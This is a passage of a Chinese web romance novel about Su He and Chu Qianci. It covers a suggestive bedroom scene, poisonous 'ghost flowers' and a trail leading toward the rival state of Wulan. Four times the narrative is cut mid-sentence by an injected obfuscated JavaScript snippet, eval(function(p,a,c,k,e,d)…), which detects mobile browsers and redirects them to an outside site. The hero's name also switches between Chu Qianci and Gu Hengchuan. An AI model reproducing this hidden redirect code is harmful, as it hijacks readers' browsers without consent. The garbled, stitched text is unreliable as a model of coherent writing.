褚千辞没多怀疑,只以为小姑娘是害羞了,听话的先去洗澡。 待男人洗好,又给她重新准备了洗澡水,苏禾像做贼一样,抱着自己的中衣中裤往浴房跑,但中衣中裤是用来迷惑对方的,里面藏着她的秘密武器。 将自己洗得香喷喷,她穿上了她亲手缝制的那件薄薄的布料,看着几乎衣不蔽体的自己,她羞臊得不敢看,有些想打退堂鼓。 深呼吸几口气,心里给自己加油打气,她拿了褚千辞挂在浴房里的一件长衫,他的衣服对于她来说,实在太长太空。 她将长衫穿上,把自己裹得严严实实,根本看不出她里面穿得有多清凉。 褚千辞正倚在床上看书,小姑娘走进房门,他抬眼望去,不由诧异挑眉。 “怎么穿这身了?没带衣服过去?” 小巧精致的小丫头穿着他的长衫,像小孩子偷穿大人衣服一般,又空又大,看着颇为滑稽。 苏禾没回答,转身将房门给关上,深吸一口气,在男人的注视下,将脚下的鞋子给脱掉,莹白纤细的小脚踩在了地上。 褚千辞不解蹙眉,手中的书本不知何时已经放下了,幽深的眼眸注视着小姑娘。 尽管已经做好心理准备,但苏禾此时还是紧张得手有些颤抖。 她轻轻地拉开了长衫衣襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705244|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的带子,宽大的衣服从肩头慢慢滑落,先是露出她白皙圆润的肩头,紧接着,衣服掉落,她整个人暴露在男人的视线中。 褚千辞目光一颤,呼吸瞬间有些急促,小姑娘穿的是什么? 只见,站在自己跟前的苏禾,身上紧包裹着一片薄薄的布料,洁白丝绸做成的肚兜,比一般的肚兜要长上许多,到了大腿根处,巧妙地遮住重要部位,若隐若现。 一根细细的带子挂在白皙的脖子上,腰后也有一根带子绑住,而她身上,还披着一层轻薄的红纱,将她遮掩得朦朦胧胧。 白色丝绸与红纱相结合,贴合在她白皙滑嫩的肌肤上,让她如同一只会勾引人的妖精,散发着致命的诱惑。 苏禾本来还有些紧张和羞涩,但看到那人目不转睛地看着她,眸中浓浓的欲火之时,她突然就不紧张了,相反还放开了许多。 她勾唇一笑,媚眼如丝,手臂舒展,裹着红纱 轻轻转圈,此时褚千辞才发现,她的背后,除了后脖颈和背上那两根细细的系带再无其他,白皙香嫩的胴体毫无保留展现在他眼前。 他呼吸愈发的急促,小腹灼热紧绷,他确定了,这小妖精是想要了他的命! 苏禾白皙的小脚踏在木地板上,一步一步朝着褚千辞走去,到他跟前时,伸手,勾住他的下巴,再娇娇地转身,坐进了他的怀里。 感受到身下那股炽热和坚.硬,她娇笑起来,小手从他胸前的衣襟处钻了进去,撩拔似的在他胸口画圈。 “公子,你的定力不太行啊。” 小姑娘那眼神像是会勾魂摄魄,褚千辞只觉得自己全身燥热,马上就要被欲火给焚烧。 “小妖精,这可是你自找的!” 他说着,将怀中的小姑娘扔到了床上,说是扔,其实动作很轻柔,苏禾完全感受不到痛意。 男人急不可耐,像是要将她拆之入腹,苏禾觉得自己好像玩脱了,但是都到这个地步了,她哪儿能轻易放弃! 她伸手挡住男人。不让他碰自己,愈发的妩媚娇俏:“公子别着急啊,想吃肉就要听我的,今晚任由我摆布。” 第120章 你就打算这样不管我了? 褚千辞觉得自己要爆炸了,可是他也着实好奇小姑娘还有多少惊喜是他不知道的,于是听话地躺在床上,任由小姑娘摆布。 苏禾发誓要让褚千辞体会一次腰酸腿软的感觉,所以她异常地勇敢,学着褚千辞对她的样子,笨拙地又亲又啃,等将褚千辞扒光后,她偃旗息鼓了。 真要让她真刀真枪上战场,她还是心里发虚,所以,她一扯被子,将自己给裹了起来,不理会被吊得不上不下的褚千辞。 褚千辞戳了戳被窝里缩成一团的小东西,脸色黑沉沉:“你就打算这样不管我了?” 说好的吃肉呢? 苏禾钻出一颗小脑袋,红着脸:“今晚的福利已经结束了,好好睡觉!” 褚千辞:“......” 他这样要是能睡着,他就不是男人了! 他伸手扯住被子,用力一扯,白净的小姑娘嫩生生地呈现在眼前,苏禾惊呼一声,忙用手臂搂住自己,蜷缩起来。 但下一刻,炽热滚烫的男人将她压在身下,她又像以往那样稀里糊涂就被他牵着鼻子走了。 已经到了十月份,夜间的天气有点凉,但是两人身上却大汗淋漓,褚千辞额头的汗滴落在苏禾身上,声音嘶哑:“小妖精,你是不是想要我的命?” 苏禾意识迷离,声音破碎:“分明是......你要......我的命!” 褚千辞呼吸一紧,动作愈发的狠,苏禾水眸潋滟,脸色潮红,伸手搂紧男人的脖子,不好意思看他此时的表情,实在涩情又蛊人。 ...... 天光大亮,苏禾起床,身边早已经没有了男人的身影,她活动了一下发酸的身体,气不过嘀嘀咕咕骂了几句。 下次再穿那样的衣服,她就是狗! 不同于小姑娘的气鼓鼓,褚千辞却是春风得意,心情极好,一整天脸上都带着笑意,来面馆吃面的老顾客都好奇问他是不是有什么喜事。 日子甜蜜地过着,这天上午,苏禾拎着菜篮子去街上采买,褚千辞留下照顾店里的生意。 街上,苏禾往买菜的巷子走去,买了些店里用得上的菜,又买了些零嘴,给家里那个男人吃。 准备回程时,见一个十来岁的小男娃拎着一篮子花在卖,那花长得很好看,苏禾从来没见过那样的花。 淡蓝色的花瓣,花瓣如向日葵花瓣那般细长,层层叠叠,花芯为墨蓝色,花蕊细长,茎杆细直,墨绿色,看着很是梦幻。 平时她也会买些花,或是采些野花插在花瓶中,放在店里做个装饰,这么想着,她叫住小男孩,想买些花回去。 “你这花怎么卖呀?” 小男娃停下脚步,许是还没卖出去花朵,遇上第一个顾客,很是高兴:“两文钱一枝,你要是要得多,可以有优惠!” 苏禾觉得有些好笑,这么小的孩子,还挺会做生意的。 离得近了,她才发现这些花是有香味的,很好闻,如空谷幽兰一般,清雅怡人,不会让人觉得俗气。 花瓣上还带着露水,看着郁郁葱葱,她对这些花很满意。 “那你这一篮子花多少钱,我都要了。” 小男娃听到她这话,不敢置信地眼睛都瞪大了,他无意间发现这些花,觉得好看,就摘些来卖,还以为会卖不出去,没想到刚到镇上就都被买了! 他笑得合不拢嘴:“谢谢姐姐,这里面一共有二十来朵,你给二十文就可以了!” 反正这些花都是野生的,他不需要投入任何成本,卖二十文已经很挣了。 苏禾道了谢,给了小男孩二十文,拿着一堆花走了,小男孩还说,要是她以后还要的话,他可以给她送来。 花这种美好的东西大大概是有会让人心情愉快的功能,苏禾高高兴兴地回了小面馆,此时店里没有客人,褚千辞正在洗碗。 苏禾把菜篮子放下,然后拿了店里的花瓶插花。 “快看,我今天买了些花,可好看了,我还从来没见过这种花呢。” 褚千辞看了眼,眸光顿时一滞,这花怎么那么像...... 他赶忙放下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705245|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的活,快步走了过来,拿起一朵花在鼻间细闻。 那股熟悉的似兰花一般的香味传来,他已经确定了这花是何物。 他眼疾手快将苏禾手中的花拿过,再把一篮子花给拿远,语气严肃:“别碰,这些花有毒!” 苏禾心狠跳了一下,有些没缓过来:“你认识这种花?” 褚千辞点头,牵着她到水池边仔细洗了手,才细细道:“还记得我和你说的我来西南是为了替昱王查案吗? 苏禾点了点头,褚千辞继续道:“我要查的那个案子,就和这种花有关。” “这种花叫幽灵花,虽然长得很好看,但它的汁液和香味都有毒,长时间接触,会让人上瘾、产生幻觉......” 两年前,京城兴起一种胭脂,香味似兰花香,护肤功效极好,用过的女眷肌肤都变得白皙细腻,最开始价格还算便宜,一般人家都买得起,但等名声打出去后,成为京城贵族女眷争抢的稀罕物品,千金难求。 起初没人发觉这款胭脂有问题,但随着价格越炒越高 ,一些最开始用得起胭脂的小户商贾人家逐渐买不起了。 因为没用那款胭脂,她们的皮肤开始溃烂,精神也开始萎靡,甚至常常出现幻觉,心中对那种胭脂有极大的渴望。 有的人因为受不住折磨,不惜倾家荡产也要买胭脂,这件事逐渐闹大,最终传入了官府耳里。 官府出面调查,但结果却不了了之,并未发现问题,这件事最后引得皇帝派褚千辞这个王爷出面调查,还是因为皇帝最宠爱的贵妃也使用了这款胭脂。 因为胭脂供不应求,即使是贵妃也很难买到,以至于贵妃出现了毒瘾发作的现象,脸上的皮肤也逐渐溃烂。 看着爱妃深受折磨,皇帝大怒,便派褚千辞这个儿子去查这个无厘头的案子。 褚千辞查了许久,查出这款胭脂里加了幽灵花这种毒花,再顺藤摸瓜,查到了西南,但却遭云谲这个心腹背叛,腹背受敌,九死一生后逃出,却变成了个傻子,后面就是被苏禾给捡回家的事了。 第121章 出发去找幽灵花 幽灵花生长的气候环境特殊,武朝鲜少有适合其生长的地方,就连褚千辞也只是在书中看过这种花的样子,偶然看到真的幽灵花,他都觉得有些不可思议。 苏禾听她讲完,许久都没反应过来,没想到她就随手买了几朵花,居然还扯出这么大一件案子。 “那这些花要怎么办?” 苏禾一时间不知道该如何处理这些花了,听顾珩川这么说,这些花好像还挺稀有的。 褚千辞见小姑娘愁眉苦脸,揉了揉她的脑袋,笑道:“别担心,我们把它晒干收起来,我有个朋友,就喜欢研究这些有毒的东西。” 苏禾很少听到他提起他的朋友,好奇问道:“你的朋友是个大夫吗?” 褚千辞想到那人,眉宇舒展:“嗯,是一个很厉害的大夫。” 苏禾没想到他这种性子的人还会夸人厉害,心中不由暗暗将这个大夫给记下,要是有机会见到,肯定要看看他到底有多厉害。 “对了,你这些花是和谁买的?” 褚千辞问道。 “就和一个小孩儿,十来岁的样子,但他估计也不知道这花是什么,我今天把地址给他了,他说要是还能摘到,就再给我送来。” 褚千辞稍稍安心,这个案子一年多都没被查出来,可想而知背后的复杂,他怀疑这和京城的势力脱不了关系。 虽然他讨厌皇帝,但这件事牵扯甚大,一日不解决,不知多少家庭还会遭到其迫害,所以,只要有可能,他还是希望能将事情给查清楚。 一连等了五六日,都没等到那个卖花的小男孩,苏禾有些泄气,顾珩川都说这种话很罕见,她能买到这么一大篮子,应该已经是走狗屎运了吧。 直到第七日,苏禾和褚千辞终于等来了那个孩子,他依旧拎着一个花篮,但明显这次的花比上次的少了不少。 “姐姐,这花太少了,我找了好几个山头才找到这几朵,这次你就给十五个铜板好了。” 他不好意思的挠着头,还有些惶恐,因为褚千辞就站在苏禾身边,他的气势太过冷冽和强大,他有些怵。 他知道,一般的人家是不会买花的,觉得那就是些浪费钱的玩意儿,他很害怕这个男人会不让姐姐买花。 苏禾笑着给小男娃数了二十个铜板,声音很是温柔:“你叫什么名字?姐姐问你个问题,只要你回答得好,这多的五个铜板就给你好不好?” 小男娃开心地笑起来,有些不好意思道:“谢谢姐姐,我叫虎子,你想问什么尽管问,我一定好好回答!” 苏禾笑着点头:“好,虎子,姐姐问你,这些花你都是在哪里摘的啊?” 虎子很是乖巧:“在我家附近的山上摘的,我爹是猎户,我家住在山腰上,我平时就到山里玩儿,无意间发现的这种花。” 苏禾与褚千辞对视一眼,继续道:“那你可以带姐姐去你摘到花的地方看看吗?” 虎子有些迟疑,小心翼翼问道:“姐姐,这些花有问题吗?” 苏禾也不打算瞒他,怕这小子一门心思去找幽灵花,接触时间长了中毒。 她语气郑重道:“虎子,姐姐和你说,这种花有毒,以后不要再去找了好不好?” 一听有毒,小男娃脸色都吓白了,忙将手中的铜板给苏禾塞回去:“姐姐对不起,我不知道这种花有毒,这钱我不能要。” 他语气很是窘迫,都快哭出来了:“但上次的钱我已经花了,我能不能以后再还你?” 小心翼翼的样子很是可爱,苏禾心里柔软,摸了摸他的头,安慰道:“姐姐不要你还钱,你拿着,虽然这种花有毒,但对姐姐很重要,你愿意带我去找吗?” 虎子红着脸点头,还从来没有人这么温柔地和他说话呢,他娘是个大嗓门,在山腰上一吼,山下的村民都能听到,经常在家门口吼他爹回家吃饭。 幽灵花的事情迫在眉睫,下午的时间,苏禾和褚千辞关了店,和虎子一起出发去他找到幽灵花的地方。 虎子的爹也到镇上来了,赶了一辆牛车来卖猎物,褚千辞带着苏禾骑马,两人不紧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705246|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地跟在牛车后面。 虎子家在一个叫李家庄的地方,这村子已经位于武朝的西南边境地带,与相邻的乌兰国只有一河之隔。 武朝的西南边陲群山环绕,虎子家也如他所说,在半山腰上,附近只有他家一户人家。 虎子爹是个有本事的猎人,身材健硕,长得凶悍威猛,虽然一路上对苏禾和褚千辞很和气,但还是存着警惕心,不敢让虎子独自带他们去找幽灵花,坚持跟着他们一起去。 山腰附近已经被虎子家扫荡得差不多了,并不会有什么野兽,偶尔可以见只野鸡、野兔,虎子对山林很熟,带着几人 七拐八拐,就到了地方。 幽灵花已经被他摘了,只剩下茎叶,褚千辞观察周围,发现只有零星的几株,分布的并不集中。 据虎子说,这是他第一次摘到幽灵花的地方,第二次摘的花分布的更散了,他跑了几个山头也才找到几朵。 这座山头气候阴凉潮湿,按理来说并不适合幽灵花生长,幽灵花喜欢的气候要更热一些,但这座山头居然会零星分布着幽灵 花,十分的可疑。 虎子爹对两人对着一株野草看来看去不感兴趣,带着虎子到附近的地方找猎物,褚千辞和苏禾留在原地,继续仔细观察周围的环境。 褚千辞掏了匕首,将几株幽灵花给挖出来,准备带回去栽起来,这东西很难遇上,要是带回去京城给那位,他肯定又要不眠不休研究几天几夜。 苏禾也没闲着,弯着腰,将附近的地面、植被都仔细观察一遍,等观察完,她发现了一件有意思的事情。 “顾珩川,你快来看,这里为什么会有这么多蒲公英的种子?” 褚千辞闻声走到她身边,看向她所指的方向,发现一棵灌木的叶片上粘着些许“蒲公英”的种子。 或许是因为停留的时间有些长,又被雨水浇灌,一些被冲刷在地上看不见,而少部分则粘在了叶片上。 苏禾疑惑:“这山里也不长蒲公英啊,为什么会有这么多种子?” 第122章 大土狗和小哈巴狗天生一对 褚千辞摘了一片附着种子的叶片,仔细观察,半晌后开口道:“或许这根本不是蒲公英的种子。” 苏禾诧异抬头看向他,等待着他的后文。 褚千辞继续道:“这些应该是幽灵花的种子,我看过书,幽灵花凋谢后,所结的种子与蒲公英十分相似,风一吹便随风飘扬,所以,附近这些应该都是幽灵花的种子。” 有了这个发现,两人又扩大了观察范围,发现一些矮灌木上或多或少都会粘有一些幽灵花的种子。 一时间,褚千辞心里已经有了一个大致的猜测。 有人在大面积种植幽灵花,种子成熟时,因为风的缘故,被吹到了这座山上,但是因为气候并不适合幽灵花生长,所以这么多的种子也只零星长出几株幽灵花。 苏禾也想到了这一点,蹙眉道:“既然这山里会有这么多种子,那种植幽灵花的地方离这里一定不太远。 褚千辞点头:“而且,我们所处的这面山坡得属于迎风坡,不然就不会有这么多种子被吹到这儿了。” 两人推测一番,虎子两父子也回来了,虎子爹手里还拎着两只野鸡。 褚千辞问道:“大哥可知此处常年吹的是什么风?” 虎子爹对这里很熟,不用思考便答道:“西南风,尤其十月、十一月的时候吹得厉害。” 褚千辞听到这儿,心道这就对了,幽灵花结种的时间也在十月、十一月,这时风大,将种子吹得更多、更远。 但西南风...... 褚千辞朝着西南方望去,那个方向,便是与武朝只有一河之隔的乌兰国了,如果幽灵花的种植地点真在乌兰国,那这事儿就不好处理了。 告别了虎子父子,褚千辞和苏禾骑马离去,一路上苏禾见男人神色有些凝重,柔声问道:“顾珩川,你有什么打算?” 褚千辞也不瞒着她,说了自己的想法。 “那座山的西南方便只有乌兰国的了,说来乌兰国的气候要比我们这边湿热许多,的确适合幽灵花生长,所以,那个大面积种植幽灵花的地方很可能在乌兰国。” “这件事一旦牵扯到别的国家,那就很难解决了,很有可能是我们武朝的人和乌兰人勾结,一同做的毒胭脂生意,也有可能是乌兰人将毒胭脂流入武朝境内,毒害武朝人的身体,挣武朝人的钱!” 但这两种情况,无论是哪种,只要牵扯到乌兰,便不是他们武朝能一手解决的事,他们这么多年来虽然与乌兰表面上相安无事,但一直都是貌合神离,乌兰对他们武朝虎视眈眈。 假若这件事查到了乌兰头上,两国闹僵,那乌兰国王完全可以借此向武朝发动进攻。 苏禾听得认真,等她消化完所有信息后,一脸怪异地看向褚千辞:“顾珩川,你真的只是个侍卫吗?为什么会懂这么多?” 褚千辞眉心一跳,看向小姑娘清凌凌的眼眸,嘴张了张,很想将一切都告诉他,可他又怕小姑娘一时半会儿不能接受他的身份。 他绞尽脑汁道:“当然,我就是跟在睿王身边久了,看的多,听的多,慢慢地就懂得多了。” 撒一个谎,要用一百个谎言来圆,褚千辞此刻深刻地体会到了说谎的艰难。 苏禾觉得他说得有道理,点了点头:“也对,你那么聪明,肯定只看一眼就学会很多东西了。” “不过你也别太忧心,你只是一个侍卫,你只要将你发现的告诉睿王,要如何解决,就交给他们那些大人物来头疼就好了。” 褚千辞有些好笑地揉了揉小姑娘的脑袋,心里长叹一口气,若他真是一个侍卫那就好了,但他处在这个位置上,有很多事情,不得不解决! 苏禾被他揉脑袋,不满地撅嘴:“顾珩川,别老是揉我的脑袋,像摸狗!” 褚千辞低笑出声:“嗯,一只可爱的小哈巴狗。” 苏禾气得去挠他痒痒,气鼓鼓道:“那你是大土狗!” 褚千辞百依百顺,宠溺道:“好,我是大土狗,大土狗和小哈巴狗天生一对。” 苏禾耳根微红,小声嘟囔:“大土狗和小哈巴狗才不配呢,身高不一样,都配不了种。” 她声音很小,说到后面甚至有些嘟嘟囔囔,含糊不清,但褚千辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705247|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是都听出来了。 他又气又笑,一只手扯着缰绳,另一只手掐了一把小姑娘的小脸蛋,声音低低的,像是要蛊惑人去犯罪:“要我现在证明一下我们能不能配吗?” “放心,就算我们俩身高不一样,我也有办法和你......配种。” 苏禾身体一颤,一张脸红得要滴血,心里像激昂的鼓点一样,狂躁、上蹿下跳。 救命,这虎狼之词她接不住! 矜贵高冷的男人嘴里说出那两个字,反差感实在太强,将人冲击得脸红心跳。 苏禾不敢看他的眼睛,人都要趴到马背上去了,畏畏缩缩,像一只缩回乌龟壳里的小王八。 半晌后,她又红着脸,含含糊糊道:“顾珩川,你好色。” 褚千辞挑眉,一脸慵懒:“谢谢夸奖。” 苏禾:“......” “你不光色,你还脸皮厚!” 褚千辞低笑出声,见小 姑娘吃瘪的样子,着实可爱。 “我的色和厚脸皮都只用在你身上,满意了吧小姑娘。” 苏禾心里甜丝丝,嘴角也控制不住往上翘,但还是装作一脸无所谓的小模样。 “我才不是小姑娘呢,我是女人,大女人!” “嗯?让我看看哪里大?” “顾珩川!你好讨厌!” “床上叫人家好哥哥,床下直呼大名还骂我讨厌?” “......” 大河马悠悠地走着,马背上的两人打情骂俏,在日渐荒芜的十月,算得上是一道风景。 晚上,苏禾就着油灯练字,褚千辞也坐在她身旁,手执笔,写着一封信。 苏禾探过脑袋去看,发现是一堆她看不懂的奇形怪状的符号。 “顾珩川,这些是什么字啊?” 褚千辞没回答她,笑着逗弄:“叫声哥哥就告诉你。” 苏禾笑脸笑盈盈,嘴上应着好,开口却是:“叔叔~” 声音软软的,甜甜的,好听得紧,就是叔叔两字让男人心塞了。